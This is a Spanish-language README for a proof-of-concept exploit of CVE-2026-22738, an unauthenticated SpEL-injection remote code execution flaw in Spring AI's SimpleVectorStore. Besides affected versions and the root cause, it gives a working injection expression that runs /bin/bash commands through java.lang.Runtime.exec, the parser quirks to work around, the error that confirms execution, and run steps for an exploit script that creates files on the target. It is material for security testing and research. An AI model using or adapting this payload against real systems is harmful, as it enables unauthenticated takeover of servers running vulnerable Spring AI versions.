
Prueba de concepto de exploit para CVE-2026-22738, una inyección crítica de SpEL con RCE en Spring AI SimpleVectorStore, que demuestra la ejecución de comandos del sistema operativo sin autenticación.
Ejecución remota de código no autenticada mediante inyección de Spring Expression Language (SpEL) en SimpleVectorStore.similaritySearch().
| Artefacto | Vulnerable | Corregida |
|---|
org.springframework.ai:spring-ai-core | 1.0.0 – 1.0.4 | 1.0.5 |
org.springframework.ai:spring-ai-core | 1.1.0-M1 – 1.1.3 | 1.1.4 |
Commit de corrección: ba9220b22383e430d5f801ce8e4fa01cf9e75f29
SimpleVectorStore.similaritySearch() pasa el nombre de la clave de filtro proporcionada por el llamador, sin modificar, a una plantilla SpEL evaluada por StandardEvaluationContext. Debido a que StandardEvaluationContext expone la API completa de reflexión de la JVM, un atacante puede inyectar:
T(java.lang.Runtime).getRuntime().exec(...)
en la clave de filtro para lograr la ejecución de comandos del sistema operativo sin autenticación.
La inyección ingenua no funciona de inmediato: deben sortearse dos peculiaridades del analizador:
' se trata como una cadena entre comillas; las comillas externas se eliminan, distorsionando la carga útil."..." hace que el analizador elimine las comillas dobles externas, dejando la expresión SpEL interna intacta como valor de clave pasado a #metadata['<CLAVE>'].#metadata[''] en ambos lados de la expresión inyectada (en lugar de una variable indefinida) evita un error SpEL de variable desconocida mientras se sigue activando exec().La expresión evaluada resultante toma la forma:
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'
El cuerpo de la respuesta HTTP contendrá EL1030E — el error de tiempo de ejecución de SpEL:
operator ADD not supported between null and java.lang.ProcessImpl
Este error se genera después de que exec() retorna, confirmando la ejecución de comandos a nivel del sistema operativo sin requerir una devolución de llamada fuera de banda.
Requisitos previos:
pip install requests
Ejecutar el exploit:
python3 exploit.py [--target http://localhost:8082] [--wait]

Docker Desktop (macOS/Windows): use host.docker.internal en lugar de 127.0.0.1 para las cargas útiles de devolución de llamada.
El PoC ejecuta cinco pasos secuenciales:
| Paso | Descripción |
|---|---|
| 1 | Verificación de referencia — confirmar que el endpoint es accesible y devuelve datos sembrados |
| 2 | Sonda SpEL ciega — leer java.version mediante T(java.lang.System) para confirmar el punto de inyección |
| 3 | RCE: touch /tmp/pwned_cve_2026_22738 dentro del contenedor |
| 4 | RCE: escribir la salida de id / uname / hostname en /tmp/rce_proof.txt |
| 5 | Verificar mediante docker exec — imprimir el contenido del archivo de prueba |
Esta prueba de concepto se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. No la utilice contra sistemas que no posea o para los cuales no tenga permiso explícito por escrito para realizar pruebas.